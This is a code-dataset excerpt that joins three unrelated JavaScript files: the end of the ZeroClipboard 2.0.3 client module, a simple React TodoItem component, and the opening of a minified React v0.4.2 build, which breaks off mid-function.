_detectFlashSupport(_ActiveXObject);
/**
* A shell constructor for `ZeroClipboard` client instances.
*
* @constructor
*/
var ZeroClipboard = function() {
if (!(this instanceof ZeroClipboard)) {
return new ZeroClipboard();
}
if (typeof ZeroClipboard._createClient === "function") {
ZeroClipboard._createClient.apply(this, _args(arguments));
}
};
/**
* The ZeroClipboard library's version number.
*
* @static
* @readonly
* @property {string}
*/
ZeroClipboard.version = "2.0.3";
_makeReadOnly(ZeroClipboard, "version");
/**
* Update or get a copy of the ZeroClipboard global configuration.
* Returns a copy of the current/updated configuration.
*
* @returns Object
* @static
*/
ZeroClipboard.config = function() {
return _config.apply(this, _args(arguments));
};
/**
* Diagnostic method that describes the state of the browser, Flash Player, and ZeroClipboard.
*
* @returns Object
* @static
*/
ZeroClipboard.state = function() {
return _state.apply(this, _args(arguments));
};
/**
* Check if Flash is unusable for any reason: disabled, outdated, deactivated, etc.
*
* @returns Boolean
* @static
*/
ZeroClipboard.isFlashUnusable = function() {
return _isFlashUnusable.apply(this, _args(arguments));
};
/**
* Register an event listener.
*
* @returns `ZeroClipboard`
* @static
*/
ZeroClipboard.on = function() {
return _on.apply(this, _args(arguments));
};
/**
* Unregister an event listener.
* If no `listener` function/object is provided, it will unregister all listeners for the provided `eventType`.
* If no `eventType` is provided, it will unregister all listeners for every event type.
*
* @returns `ZeroClipboard`
* @static
*/
ZeroClipboard.off = function() {
return _off.apply(this, _args(arguments));
};
/**
* Retrieve event listeners for an `eventType`.
* If no `eventType` is provided, it will retrieve all listeners for every event type.
*
* @returns array of listeners for the `eventType`; if no `eventType`, then a map/hash object of listeners for all event types; or `null`
*/
ZeroClipboard.handlers = function() {
return _listeners.apply(this, _args(arguments));
};
/**
* Event emission receiver from the Flash object, forwarding to any registered JavaScript event listeners.
*
* @returns For the "copy" event, returns the Flash-friendly "clipData" object; otherwise `undefined`.
* @static
*/
ZeroClipboard.emit = function() {
return _emit.apply(this, _args(arguments));
};
/**
* Create and embed the Flash object.
*
* @returns The Flash object
* @static
*/
ZeroClipboard.create = function() {
return _create.apply(this, _args(arguments));
};
/**
* Self-destruct and clean up everything, including the embedded Flash object.
*
* @returns `undefined`
* @static
*/
ZeroClipboard.destroy = function() {
return _destroy.apply(this, _args(arguments));
};
/**
* Set the pending data for clipboard injection.
*
* @returns `undefined`
* @static
*/
ZeroClipboard.setData = function() {
return _setData.apply(this, _args(arguments));
};
/**
* Clear the pending data for clipboard injection.
* If no `format` is provided, all pending data formats will be cleared.
*
* @returns `undefined`
* @static
*/
ZeroClipboard.clearData = function() {
return _clearData.apply(this, _args(arguments));
};
/**
* Sets the current HTML object that the Flash object should overlay. This will put the global
* Flash object on top of the current element; depending on the setup, this may also set the
* pending clipboard text data as well as the Flash object's wrapping element's title attribute
* based on the underlying HTML element and ZeroClipboard configuration.
*
* @returns `undefined`
* @static
*/
ZeroClipboard.activate = function() {
return _activate.apply(this, _args(arguments));
};
/**
* Un-overlays the Flash object. This will put the global Flash object off-screen; depending on
* the setup, this may also unset the Flash object's wrapping element's title attribute based on
* the underlying HTML element and ZeroClipboard configuration.
*
* @returns `undefined`
* @static
*/
ZeroClipboard.deactivate = function() {
return _deactivate.apply(this, _args(arguments));
};
/**
* Keep track of the ZeroClipboard client instance counter.
*/
var _clientIdCounter = 0;
/**
* Keep track of the state of the client instances.
*
* Entry structure:
* _clientMeta[client.id] = {
* instance: client,
* elements: [],
* handlers: {}
* };
*/
var _clientMeta = {};
/**
* Keep track of the ZeroClipboard clipped elements counter.
*/
var _elementIdCounter = 0;
/**
* Keep track of the state of the clipped element relationships to clients.
*
* Entry structure:
* _elementMeta[element.zcClippingId] = [client1.id, client2.id];
*/
var _elementMeta = {};
/**
* Keep track of the state of the mouse event handlers for clipped elements.
*
* Entry structure:
* _mouseHandlers[element.zcClippingId] = {
* mouseover: function(event) {},
* mouseout: function(event) {},
* mouseenter: function(event) {},
* mouseleave: function(event) {},
* mousemove: function(event) {}
* };
*/
var _mouseHandlers = {};
/**
* Extending the ZeroClipboard configuration defaults for the Client module.
*/
_extend(_globalConfig, {
autoActivate: true
});
/**
* The real constructor for `ZeroClipboard` client instances.
* @private
*/
var _clientConstructor = function(elements) {
var client = this;
client.id = "" + _clientIdCounter++;
_clientMeta[client.id] = {
instance: client,
elements: [],
handlers: {}
};
if (elements) {
client.clip(elements);
}
ZeroClipboard.on("*", function(event) {
return client.emit(event);
});
ZeroClipboard.on("destroy", function() {
client.destroy();
});
ZeroClipboard.create();
};
/**
* The underlying implementation of `ZeroClipboard.Client.prototype.on`.
* @private
*/
var _clientOn = function(eventType, listener) {
var i, len, events, added = {}, handlers = _clientMeta[this.id] && _clientMeta[this.id].handlers;
if (typeof eventType === "string" && eventType) {
events = eventType.toLowerCase().split(/\s+/);
} else if (typeof eventType === "object" && eventType && typeof listener === "undefined") {
for (i in eventType) {
if (_hasOwn.call(eventType, i) && typeof i === "string" && i && typeof eventType[i] === "function") {
this.on(i, eventType[i]);
}
}
}
if (events && events.length) {
for (i = 0, len = events.length; i < len; i++) {
eventType = events[i].replace(/^on/, "");
added[eventType] = true;
if (!handlers[eventType]) {
handlers[eventType] = [];
}
handlers[eventType].push(listener);
}
if (added.ready && _flashState.ready) {
this.emit({
type: "ready",
client: this
});
}
if (added.error) {
var errorTypes = [ "disabled", "outdated", "unavailable", "deactivated", "overdue" ];
for (i = 0, len = errorTypes.length; i < len; i++) {
if (_flashState[errorTypes[i]]) {
this.emit({
type: "error",
name: "flash-" + errorTypes[i],
client: this
});
break;
}
}
}
}
return this;
};
/**
* The underlying implementation of `ZeroClipboard.Client.prototype.off`.
* @private
*/
var _clientOff = function(eventType, listener) {
var i, len, foundIndex, events, perEventHandlers, handlers = _clientMeta[this.id] && _clientMeta[this.id].handlers;
if (arguments.length === 0) {
events = _objectKeys(handlers);
} else if (typeof eventType === "string" && eventType) {
events = eventType.split(/\s+/);
} else if (typeof eventType === "object" && eventType && typeof listener === "undefined") {
for (i in eventType) {
if (_hasOwn.call(eventType, i) && typeof i === "string" && i && typeof eventType[i] === "function") {
this.off(i, eventType[i]);
}
}
}
if (events && events.length) {
for (i = 0, len = events.length; i < len; i++) {
eventType = events[i].toLowerCase().replace(/^on/, "");
perEventHandlers = handlers[eventType];
if (perEventHandlers && perEventHandlers.length) {
if (listener) {
foundIndex = _inArray(listener, perEventHandlers);
while (foundIndex !== -1) {
perEventHandlers.splice(foundIndex, 1);
foundIndex = _inArray(listener, perEventHandlers, foundIndex);
}
} else {
perEventHandlers.length = 0;
}
}
}
}
return this;
};
/**
* The underlying implementation of `ZeroClipboard.Client.prototype.handlers`.
* @private
*/
var _clientListeners = function(eventType) {
var copy = null, handlers = _clientMeta[this.id] && _clientMeta[this.id].handlers;
if (handlers) {
if (typeof eventType === "string" && eventType) {
copy = handlers[eventType] ? handlers[eventType].slice(0) : [];
} else {
copy = _deepCopy(handlers);
}
}
return copy;
};
/**
* The underlying implementation of `ZeroClipboard.Client.prototype.emit`.
* @private
*/
var _clientEmit = function(event) {
if (_clientShouldEmit.call(this, event)) {
if (typeof event === "object" && event && typeof event.type === "string" && event.type) {
event = _extend({}, event);
}
var eventCopy = _extend({}, _createEvent(event), {
client: this
});
_clientDispatchCallbacks.call(this, eventCopy);
}
return this;
};
/**
* The underlying implementation of `ZeroClipboard.Client.prototype.clip`.
* @private
*/
var _clientClip = function(elements) {
elements = _prepClip(elements);
for (var i = 0; i < elements.length; i++) {
if (_hasOwn.call(elements, i) && elements[i] && elements[i].nodeType === 1) {
if (!elements[i].zcClippingId) {
elements[i].zcClippingId = "zcClippingId_" + _elementIdCounter++;
_elementMeta[elements[i].zcClippingId] = [ this.id ];
if (_globalConfig.autoActivate === true) {
_addMouseHandlers(elements[i]);
}
} else if (_inArray(this.id, _elementMeta[elements[i].zcClippingId]) === -1) {
_elementMeta[elements[i].zcClippingId].push(this.id);
}
var clippedElements = _clientMeta[this.id] && _clientMeta[this.id].elements;
if (_inArray(elements[i], clippedElements) === -1) {
clippedElements.push(elements[i]);
}
}
}
return this;
};
/**
* The underlying implementation of `ZeroClipboard.Client.prototype.unclip`.
* @private
*/
var _clientUnclip = function(elements) {
var meta = _clientMeta[this.id];
if (!meta) {
return this;
}
var clippedElements = meta.elements;
var arrayIndex;
if (typeof elements === "undefined") {
elements = clippedElements.slice(0);
} else {
elements = _prepClip(elements);
}
for (var i = elements.length; i--; ) {
if (_hasOwn.call(elements, i) && elements[i] && elements[i].nodeType === 1) {
arrayIndex = 0;
while ((arrayIndex = _inArray(elements[i], clippedElements, arrayIndex)) !== -1) {
clippedElements.splice(arrayIndex, 1);
}
var clientIds = _elementMeta[elements[i].zcClippingId];
if (clientIds) {
arrayIndex = 0;
while ((arrayIndex = _inArray(this.id, clientIds, arrayIndex)) !== -1) {
clientIds.splice(arrayIndex, 1);
}
if (clientIds.length === 0) {
if (_globalConfig.autoActivate === true) {
_removeMouseHandlers(elements[i]);
}
delete elements[i].zcClippingId;
}
}
}
}
return this;
};
/**
* The underlying implementation of `ZeroClipboard.Client.prototype.elements`.
* @private
*/
var _clientElements = function() {
var meta = _clientMeta[this.id];
return meta && meta.elements ? meta.elements.slice(0) : [];
};
/**
* The underlying implementation of `ZeroClipboard.Client.prototype.destroy`.
* @private
*/
var _clientDestroy = function() {
this.unclip();
this.off();
delete _clientMeta[this.id];
};
/**
* Inspect an Event to see if the Client (`this`) should honor it for emission.
* @private
*/
var _clientShouldEmit = function(event) {
if (!(event && event.type)) {
return false;
}
if (event.client && event.client !== this) {
return false;
}
var clippedEls = _clientMeta[this.id] && _clientMeta[this.id].elements;
var hasClippedEls = !!clippedEls && clippedEls.length > 0;
var goodTarget = !event.target || hasClippedEls && _inArray(event.target, clippedEls) !== -1;
var goodRelTarget = event.relatedTarget && hasClippedEls && _inArray(event.relatedTarget, clippedEls) !== -1;
var goodClient = event.client && event.client === this;
if (!(goodTarget || goodRelTarget || goodClient)) {
return false;
}
return true;
};
/**
* Handle the actual dispatching of events to a client instance.
*
* @returns `this`
* @private
*/
var _clientDispatchCallbacks = function(event) {
if (!(typeof event === "object" && event && event.type)) {
return;
}
var async = _shouldPerformAsync(event);
var wildcardTypeHandlers = _clientMeta[this.id] && _clientMeta[this.id].handlers["*"] || [];
var specificTypeHandlers = _clientMeta[this.id] && _clientMeta[this.id].handlers[event.type] || [];
var handlers = wildcardTypeHandlers.concat(specificTypeHandlers);
if (handlers && handlers.length) {
var i, len, func, context, eventCopy, originalContext = this;
for (i = 0, len = handlers.length; i < len; i++) {
func = handlers[i];
context = originalContext;
if (typeof func === "string" && typeof _window[func] === "function") {
func = _window[func];
}
if (typeof func === "object" && func && typeof func.handleEvent === "function") {
context = func;
func = func.handleEvent;
}
if (typeof func === "function") {
eventCopy = _extend({}, event);
_dispatchCallback(func, context, [ eventCopy ], async);
}
}
}
return this;
};
/**
* Prepares the elements for clipping/unclipping.
*
* @returns An Array of elements.
* @private
*/
var _prepClip = function(elements) {
if (typeof elements === "string") {
elements = [];
}
return typeof elements.length !== "number" ? [ elements ] : elements;
};
/**
* Add a `mouseover` handler function for a clipped element.
*
* @returns `undefined`
* @private
*/
var _addMouseHandlers = function(element) {
if (!(element && element.nodeType === 1)) {
return;
}
var _suppressMouseEvents = function(event) {
if (!(event || (event = _window.event))) {
return;
}
if (event._source !== "js") {
event.stopImmediatePropagation();
event.preventDefault();
}
delete event._source;
};
var _elementMouseOver = function(event) {
if (!(event || (event = _window.event))) {
return;
}
_suppressMouseEvents(event);
ZeroClipboard.activate(element);
};
element.addEventListener("mouseover", _elementMouseOver, false);
element.addEventListener("mouseout", _suppressMouseEvents, false);
element.addEventListener("mouseenter", _suppressMouseEvents, false);
element.addEventListener("mouseleave", _suppressMouseEvents, false);
element.addEventListener("mousemove", _suppressMouseEvents, false);
_mouseHandlers[element.zcClippingId] = {
mouseover: _elementMouseOver,
mouseout: _suppressMouseEvents,
mouseenter: _suppressMouseEvents,
mouseleave: _suppressMouseEvents,
mousemove: _suppressMouseEvents
};
};
/**
* Remove a `mouseover` handler function for a clipped element.
*
* @returns `undefined`
* @private
*/
var _removeMouseHandlers = function(element) {
if (!(element && element.nodeType === 1)) {
return;
}
var mouseHandlers = _mouseHandlers[element.zcClippingId];
if (!(typeof mouseHandlers === "object" && mouseHandlers)) {
return;
}
var key, val, mouseEvents = [ "move", "leave", "enter", "out", "over" ];
for (var i = 0, len = mouseEvents.length; i < len; i++) {
key = "mouse" + mouseEvents[i];
val = mouseHandlers[key];
if (typeof val === "function") {
element.removeEventListener(key, val, false);
}
}
delete _mouseHandlers[element.zcClippingId];
};
/**
* Creates a new ZeroClipboard client instance.
* Optionally, auto-`clip` an element or collection of elements.
*
* @constructor
*/
ZeroClipboard._createClient = function() {
_clientConstructor.apply(this, _args(arguments));
};
/**
* Register an event listener to the client.
*
* @returns `this`
*/
ZeroClipboard.prototype.on = function() {
return _clientOn.apply(this, _args(arguments));
};
/**
* Unregister an event handler from the client.
* If no `listener` function/object is provided, it will unregister all handlers for the provided `eventType`.
* If no `eventType` is provided, it will unregister all handlers for every event type.
*
* @returns `this`
*/
ZeroClipboard.prototype.off = function() {
return _clientOff.apply(this, _args(arguments));
};
/**
* Retrieve event listeners for an `eventType` from the client.
* If no `eventType` is provided, it will retrieve all listeners for every event type.
*
* @returns array of listeners for the `eventType`; if no `eventType`, then a map/hash object of listeners for all event types; or `null`
*/
ZeroClipboard.prototype.handlers = function() {
return _clientListeners.apply(this, _args(arguments));
};
/**
* Event emission receiver from the Flash object for this client's registered JavaScript event listeners.
*
* @returns For the "copy" event, returns the Flash-friendly "clipData" object; otherwise `undefined`.
*/
ZeroClipboard.prototype.emit = function() {
return _clientEmit.apply(this, _args(arguments));
};
/**
* Register clipboard actions for new element(s) to the client.
*
* @returns `this`
*/
ZeroClipboard.prototype.clip = function() {
return _clientClip.apply(this, _args(arguments));
};
/**
* Unregister the clipboard actions of previously registered element(s) on the page.
* If no elements are provided, ALL registered elements will be unregistered.
*
* @returns `this`
*/
ZeroClipboard.prototype.unclip = function() {
return _clientUnclip.apply(this, _args(arguments));
};
/**
* Get all of the elements to which this client is clipped.
*
* @returns array of clipped elements
*/
ZeroClipboard.prototype.elements = function() {
return _clientElements.apply(this, _args(arguments));
};
/**
* Self-destruct and clean up everything for a single client.
* This will NOT destroy the embedded Flash object.
*
* @returns `undefined`
*/
ZeroClipboard.prototype.destroy = function() {
return _clientDestroy.apply(this, _args(arguments));
};
/**
* Stores the pending plain text to inject into the clipboard.
*
* @returns `this`
*/
ZeroClipboard.prototype.setText = function(text) {
ZeroClipboard.setData("text/plain", text);
return this;
};
/**
* Stores the pending HTML text to inject into the clipboard.
*
* @returns `this`
*/
ZeroClipboard.prototype.setHtml = function(html) {
ZeroClipboard.setData("text/html", html);
return this;
};
/**
* Stores the pending rich text (RTF) to inject into the clipboard.
*
* @returns `this`
*/
ZeroClipboard.prototype.setRichText = function(richText) {
ZeroClipboard.setData("application/rtf", richText);
return this;
};
/**
* Stores the pending data to inject into the clipboard.
*
* @returns `this`
*/
ZeroClipboard.prototype.setData = function() {
ZeroClipboard.setData.apply(this, _args(arguments));
return this;
};
/**
* Clears the pending data to inject into the clipboard.
* If no `format` is provided, all pending data formats will be cleared.
*
* @returns `this`
*/
ZeroClipboard.prototype.clearData = function() {
ZeroClipboard.clearData.apply(this, _args(arguments));
return this;
};
if (typeof define === "function" && define.amd) {
define(function() {
return ZeroClipboard;
});
} else if (typeof module === "object" && module && typeof module.exports === "object" && module.exports) {
module.exports = ZeroClipboard;
} else {
window.ZeroClipboard = ZeroClipboard;
}
})(function() {
return this;
}());
|
src/components/hyo.todoapp.simple/TodoItem.js
|
hyoushke/hyo-reactredux-generator
|
import React from 'react';
class TodoItem extends React.Component{
constructor(props){
super(props);
this.state = {
spoke: false,
count: 0
};
this.onClickUpdate = this.onClickUpdate.bind(this);
this.onClickRemove = this.onClickRemove.bind(this);
this.onClickDetails = this.onClickDetails.bind(this);
}
onClickUpdate(e){
alert('UPDATE');
this.props.updateCommand(this.props.index);
}
onClickRemove(e){
alert('REMOVE');
this.props.removeCommand(this.props.index);
}
onClickDetails(e){
alert('DETAILS');
}
onUpdateTodoItem(){
//this.props.updateListItem(this.props.index);
}
onRemoveTodoItem(){
//this.props.removeListItem(this.props.index);
}
onDetailsTodoItem(){
}
render(){
let {id, taskname, notes, status, date, image, removeListItem, updateListItem} = this.props;
let {height, width, tag, loaded, spoke } = this.state;
//console.log(this.props);
return (
<div className="nendoBorder">
<div className="row">
<div className="col-md-2"><img src={image} height="26px" className="img-circle" /></div>
<div className="col-md-2">{taskname}</div>
<div className="col-md-2">{notes}</div>
<div className="col-md-2">{status}</div>
<div className="col-md-2">{date}</div>
<div className="col-md-2">
<button className="btn btn-xs btn-primary" onClick={this.onClickUpdate}> <span className="glyphicon glyphicon glyphicon-pencil"></span></button>
<button className="btn btn-xs btn-danger" onClick={this.onClickRemove}> <span className="glyphicon glyphicon glyphicon-trash"></span></button>
<button className="btn btn-xs btn-info" onClick={this.onClickDetails}> <span className="glyphicon glyphicon glyphicon-cog"></span></button>
</div>
</div>
</div>
);
}
}
export default TodoItem;
|
ajax/libs/react/0.4.2/react.min.js
|
mayur404/cdnjs
|
/**
* React v0.4.2
*
* Copyright 2013 Facebook, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
!function(e){if("function"==typeof bootstrap)bootstrap("react",e);else if("object"==typeof exports)module.exports=e();else if("function"==typeof define&&define.amd)define(e);else if("undefined"!=typeof ses){if(!ses.ok())return;ses.makeReact=e}else"undefined"!=typeof window?window.React=e():global.React=e()}(function(){return function(e,t,n){function r(n,i){if(!t[n]){if(!e[n]){var a="function"==typeof require&&require;if(!i&&a)return a(n,!0);if(o)return o(n,!0);throw new Error("Cannot find module '"+n+"'")}var s=t[n]={exports:{}};e[n][0].call(s.exports,function(t){var o=e[n][1][t];return r(o?o:t)},s,s.exports)}return t[n].exports}for(var o="function"==typeof require&&require,i=0;i<n.length;i++)r(n[i]);return r}({1:[function(e,t){function n(e){var t=r(e);if(!t)throw new Error(o('Tried to get element with id of "%s" but it is not present on the page.',e));return t}var r=e("./ge"),o=e("./ex");t.exports=n},{"./ex":68,"./ge":71}],2:[function(e,t){"use strict";var n={fillOpacity:!0,fontWeight:!0,opacity:!0,orphans:!0,zIndex:!0,zoom:!0},r={background:{backgroundImage:!0,backgroundPosition:!0,backgroundRepeat:!0,backgroundColor:!0},border:{borderWidth:!0,borderStyle:!0,borderColor:!0},borderBottom:{borderBottomWidth:!0,borderBottomStyle:!0,borderBottomColor:!0},borderLeft:{borderLeftWidth:!0,borderLeftStyle:!0,borderLeftColor:!0},borderRight:{borderRightWidth:!0,borderRightStyle:!0,borderRightColor:!0},borderTop:{borderTopWidth:!0,borderTopStyle:!0,borderTopColor:!0},font:{fontStyle:!0,fontVariant:!0,fontWeight:!0,fontSize:!0,lineHeight:!0,fontFamily:!0}},o={isUnitlessNumber:n,shorthandPropertyExpansions:r};t.exports=o},{}],3:[function(e,t){"use strict";var n=e("./CSSProperty"),r=e("./dangerousStyleValue"),o=e("./escapeTextForBrowser"),i=e("./hyphenate"),a=e("./memoizeStringOnly"),s=a(function(e){return o(i(e))}),u={createMarkupForStyles:function(e){var t="";for(var n in e)if(e.hasOwnProperty(n)){var o=e[n];null!=o&&(t+=s(n)+":",t+=r(n,o)+";")}return t||null},setValueForStyles:function(e,t){var o=e.style;for(var i in t)if(t.hasOwnProperty(i)){var a=r(i,t[i]);if(a)o[i]=a;else{var s=n.shorthandPropertyExpansions[i];if(s)for(var u in s)o[u]="";else o[i]=""}}}};t.exports=u},{"./CSSProperty":2,"./dangerousStyleValue":65,"./escapeTextForBrowser":67,"./hyphenate":76,"./memoizeStringOnly":83}],4:[function(e,t){"use strict";var n={},r={putListener:function(e,t,r){var o=n[t]||(n[t]={});o[e]=r},getListener:function(e,t){var r=n[t];return r&&r[e]},deleteListener:function(e,t){var r=n[t];r&&delete r[e]},deleteAllListeners:function(e){for(var t in n)delete n[t][e]},__purge:function(){n={}}};t.exports=r},{}],5:[function(e,t){"use strict";function n(e){return"SELECT"===e.nodeName||"INPUT"===e.nodeName&&"file"===e.type}function r(e){var t=M.getPooled(O.change,I,e);C.accumulateTwoPhaseDispatches(t),y.enqueueEvents(t),y.processEventQueue()}function o(e,t){P=e,I=t,P.attachEvent("onchange",r)}function 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n=u(e,t);n&&l(e,n),c(e,t,n)},d={dangerouslyReplaceNodeWithMarkup:n.dangerouslyReplaceNodeWithMarkup,manageChildren:p};t.exports=d},{"./Danger":9,"./insertNodeAt":77,"./keyOf":82,"./throwIf":89}],7:[function(e,t){"use strict";var n=e("./invariant"),r={MUST_USE_ATTRIBUTE:1,MUST_USE_PROPERTY:2,HAS_BOOLEAN_VALUE:4,HAS_SIDE_EFFECTS:8,injectDOMPropertyConfig:function(e){var t=e.Properties||{},o=e.DOMAttributeNames||{},a=e.DOMPropertyNames||{},s=e.DOMMutationMethods||{};e.isCustomAttribute&&i._isCustomAttributeFunctions.push(e.isCustomAttribute);for(var u in t){n(!i.isStandardName[u]),i.isStandardName[u]=!0,i.getAttributeName[u]=o[u]||u.toLowerCase(),i.getPropertyName[u]=a[u]||u;var l=s[u];l&&(i.getMutationMethod[u]=l);var c=t[u];i.mustUseAttribute[u]=c&r.MUST_USE_ATTRIBUTE,i.mustUseProperty[u]=c&r.MUST_USE_PROPERTY,i.hasBooleanValue[u]=c&r.HAS_BOOLEAN_VALUE,i.hasSideEffects[u]=c&r.HAS_SIDE_EFFECTS,n(!i.mustUseAttribute[u]||!i.mustUseProperty[u]),n(i.mustUseProperty[u]||!i.hasSideEffects[u])}}},o={},i={isStandardName:{},getAttributeName:{},getPropertyName:{},getMutationMethod:{},mustUseAttribute:{},mustUseProperty:{},hasBooleanValue:{},hasSideEffects:{},_isCustomAttributeFunctions:[],isCustomAttribute:function(e){return i._isCustomAttributeFunctions.some(function(t){return t.call(null,e)})},getDefaultValueForProperty:function(e,t){var n,r=o[e];return r||(o[e]=r={}),t in r||(n=document.createElement(e),r[t]=n[t]),r[t]},injection:r};t.exports=i},{"./invariant":78}],8:[function(e,t){"use strict";var n=e("./DOMProperty"),r=e("./escapeTextForBrowser"),o=e("./memoizeStringOnly"),i=o(function(e){return r(e)+'="'}),a={createMarkupForProperty:function(e,t){if(n.isStandardName[e]){if(null==t||n.hasBooleanValue[e]&&!t)return"";var o=n.getAttributeName[e];return i(o)+r(t)+'"'}return n.isCustomAttribute(e)?null==t?"":i(e)+r(t)+'"':null},setValueForProperty:function(e,t,r){if(n.isStandardName[t]){var o=n.getMutationMethod[t];if(o)o(e,r);else if(n.mustUseAttribute[t])n.hasBooleanValue[t]&&!r?e.removeAttribute(n.getAttributeName[t]):e.setAttribute(n.getAttributeName[t],r);else{var i=n.getPropertyName[t];n.hasSideEffects[t]&&e[i]===r||(e[i]=r)}}else n.isCustomAttribute(t)&&e.setAttribute(t,r)},deleteValueForProperty:function(e,t){if(n.isStandardName[t]){var r=n.getMutationMethod[t];if(r)r(e,void 0);else if(n.mustUseAttribute[t])e.removeAttribute(n.getAttributeName[t]);else{var o=n.getPropertyName[t];e[o]=n.getDefaultValueForProperty(e.nodeName,t)}}else n.isCustomAttribute(t)&&e.removeAttribute(t)}};t.exports=a},{"./DOMProperty":7,"./escapeTextForBrowser":67,"./memoizeStringOnly":83}],9:[function(e,t){"use strict";function n(e){var t=u,n=e.substring(1,e.indexOf(" ")),r=l[n.toLowerCase()]||c;if(r){t.innerHTML=r[1]+e+r[2];for(var o=r[0];o--;)t=t.lastChild}else t.innerHTML=e;return t.childNodes}function r(e,t,n){return n?n.nextSibling?e.insertBefore(t,n.nextSibling):e.appendChild(t):e.insertBefore(t,e.firstChild)}function o(e,t,n){for(var o,i=t.length,a=0;i>a;a++)o=r(e,t[0],o||n)}function i(e,t,r){var i=n(t),a=r?e.childNodes[r-1]:null;o(e,i,a)}function a(e,t){var r=e.parentNode,o=n(t);r.replaceChild(o[0],e)}var s=e("./ExecutionEnvironment");e("./throwIf");var u=s.canUseDOM?document.createElement("div"):null,l={option:[1,'<select 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n=e("./DOMProperty"),r=n.injection.MUST_USE_ATTRIBUTE,o=n.injection.MUST_USE_PROPERTY,i=n.injection.HAS_BOOLEAN_VALUE,a=n.injection.HAS_SIDE_EFFECTS,s={isCustomAttribute:RegExp.prototype.test.bind(/^(data|aria)-[a-z_][a-z\d_.\-]*$/),Properties:{accessKey:null,accept:null,action:null,ajaxify:r,allowFullScreen:r|i,allowTransparency:r,alt:null,autoComplete:null,autoFocus:i,autoPlay:i,cellPadding:null,cellSpacing:null,checked:o|i,className:o,colSpan:null,contentEditable:null,contextMenu:r,controls:o|i,data:null,dateTime:r,dir:null,disabled:o|i,draggable:null,encType:null,frameBorder:r,height:r,hidden:r|i,href:null,htmlFor:null,icon:null,id:o,label:null,lang:null,list:null,max:null,maxLength:r,method:null,min:null,multiple:o|i,name:null,pattern:null,poster:null,preload:null,placeholder:null,radioGroup:null,rel:null,readOnly:o|i,required:i,role:r,scrollLeft:o,scrollTop:o,selected:o|i,size:null,spellCheck:null,src:null,step:null,style:null,tabIndex:null,target:null,title:null,type:null,value:o|a,width:r,wmode:r,cx:o,cy:o,d:o,fill:o,fx:o,fy:o,points:o,r:o,stroke:o,strokeLinecap:o,strokeWidth:o,transform:o,x:o,x1:o,x2:o,version:o,viewBox:o,y:o,y1:o,y2:o,spreadMethod:o,offset:o,stopColor:o,stopOpacity:o,gradientUnits:o,gradientTransform:o},DOMAttributeNames:{className:"class",htmlFor:"for",strokeLinecap:"stroke-linecap",strokeWidth:"stroke-width",stopColor:"stop-color",stopOpacity:"stop-opacity"},DOMPropertyNames:{autoComplete:"autocomplete",autoFocus:"autofocus",autoPlay:"autoplay",encType:"enctype",radioGroup:"radiogroup",spellCheck:"spellcheck"},DOMMutationMethods:{className:function(e,t){e.className=t||""}}};t.exports=s},{"./DOMProperty":7}],11:[function(e,t){"use strict";var n=e("./keyOf"),r=[n({ResponderEventPlugin:null}),n({SimpleEventPlugin:null}),n({TapEventPlugin:null}),n({EnterLeaveEventPlugin:null}),n({ChangeEventPlugin:null}),n({AnalyticsEventPlugin:null}),n({MobileSafariClickEventPlugin:null})];t.exports=r},{"./keyOf":82}],12:[function(e,t){"use strict";var n=e("./EventConstants"),r=e("./EventPropagators"),o=e("./ExecutionEnvironment"),i=e("./SyntheticMouseEvent"),a=e("./ReactMount"),s=e("./keyOf"),u=n.topLevelTypes,l=a.getFirstReactDOM,c={mouseEnter:{registrationName:s({onMouseEnter:null})},mouseLeave:{registrationName:s({onMouseLeave:null})}},p={eventTypes:c,extractEvents:function(e,t,n,s){if(e===u.topMouseOver&&(s.relatedTarget||s.fromElement))return null;if(e!==u.topMouseOut&&e!==u.topMouseOver)return null;var p,d;if(e===u.topMouseOut?(p=t,d=l(s.relatedTarget||s.toElement)||o.global):(p=o.global,d=t),p===d)return null;var h=p?a.getID(p):"",f=d?a.getID(d):"",v=i.getPooled(c.mouseLeave,h,s),m=i.getPooled(c.mouseEnter,f,s);return r.accumulateEnterLeaveDispatches(v,m,h,f),[v,m]}};t.exports=p},{"./EventConstants":13,"./EventPropagators":18,"./ExecutionEnvironment":19,"./ReactMount":39,"./SyntheticMouseEvent":54,"./keyOf":82}],13:[function(e,t){"use strict";var n=e("./keyMirror"),r=n({bubbled:null,captured:null}),o=n({topBlur:null,topChange:null,topClick:null,topDOMCharacterDataModified:null,topDoubleClick:null,topDrag:null,topDragEnd:null,topDragEnter:null,topDragExit:null,topDragLeave:null,topDragOver:null,topDragStart:null,topDrop:null,topFocus:null,topInput:null,topKeyDown:null,topKeyPress:null,topKeyUp:null,topMouseDown:null,topMouseMove:null,topMouseOut:null,topMouseOver:null,topMouseUp:null,topScroll:null,topSelectionChange:null,topSubmit:null,topTouchCancel:null,topTouchEnd:null,topTouchMove:null,topTouchStart:null,topWheel:null}),i={topLevelTypes:o,PropagationPhases:r};t.exports=i},{"./keyMirror":81}],14:[function(e,t){var n={listen:function(e,t,n){e.addEventListener?e.addEventListener(t,n,!1):e.attachEvent&&e.attachEvent("on"+t,n)},capture:function(e,t,n){e.addEventListener&&e.addEventListener(t,n,!0)}};t.exports=n},{}],15:[function(e,t){"use strict";var n=e("./CallbackRegistry"),r=e("./EventPluginRegistry"),o=e("./EventPluginUtils"),i=e("./EventPropagators"),a=e("./ExecutionEnvironment"),s=e("./accumulate"),u=e("./forEachAccumulated"),l=e("./invariant"),c=null,p=function(e){if(e){var t=o.executeDispatch,n=r.getPluginModuleForEvent(e);n&&n.executeDispatch&&(t=n.executeDispatch),o.executeDispatchesInOrder(e,t),e.isPersistent()||e.constructor.release(e)}},d={injection:{injectInstanceHandle:i.injection.injectInstanceHandle,injectEventPluginOrder:r.injectEventPluginOrder,injectEventPluginsByName:r.injectEventPluginsByName},registrationNames:r.registrationNames,putListener:n.putListener,getListener:n.getListener,deleteListener:n.deleteListener,deleteAllListeners:n.deleteAllListeners,extractEvents:function(e,t,n,o){for(var i,a=r.plugins,u=0,l=a.length;l>u;u++){var c=a[u];if(c){var p=c.extractEvents(e,t,n,o);p&&(i=s(i,p))}}return i},enqueueEvents:function(e){e&&(c=s(c,e))},processEventQueue:function(){var 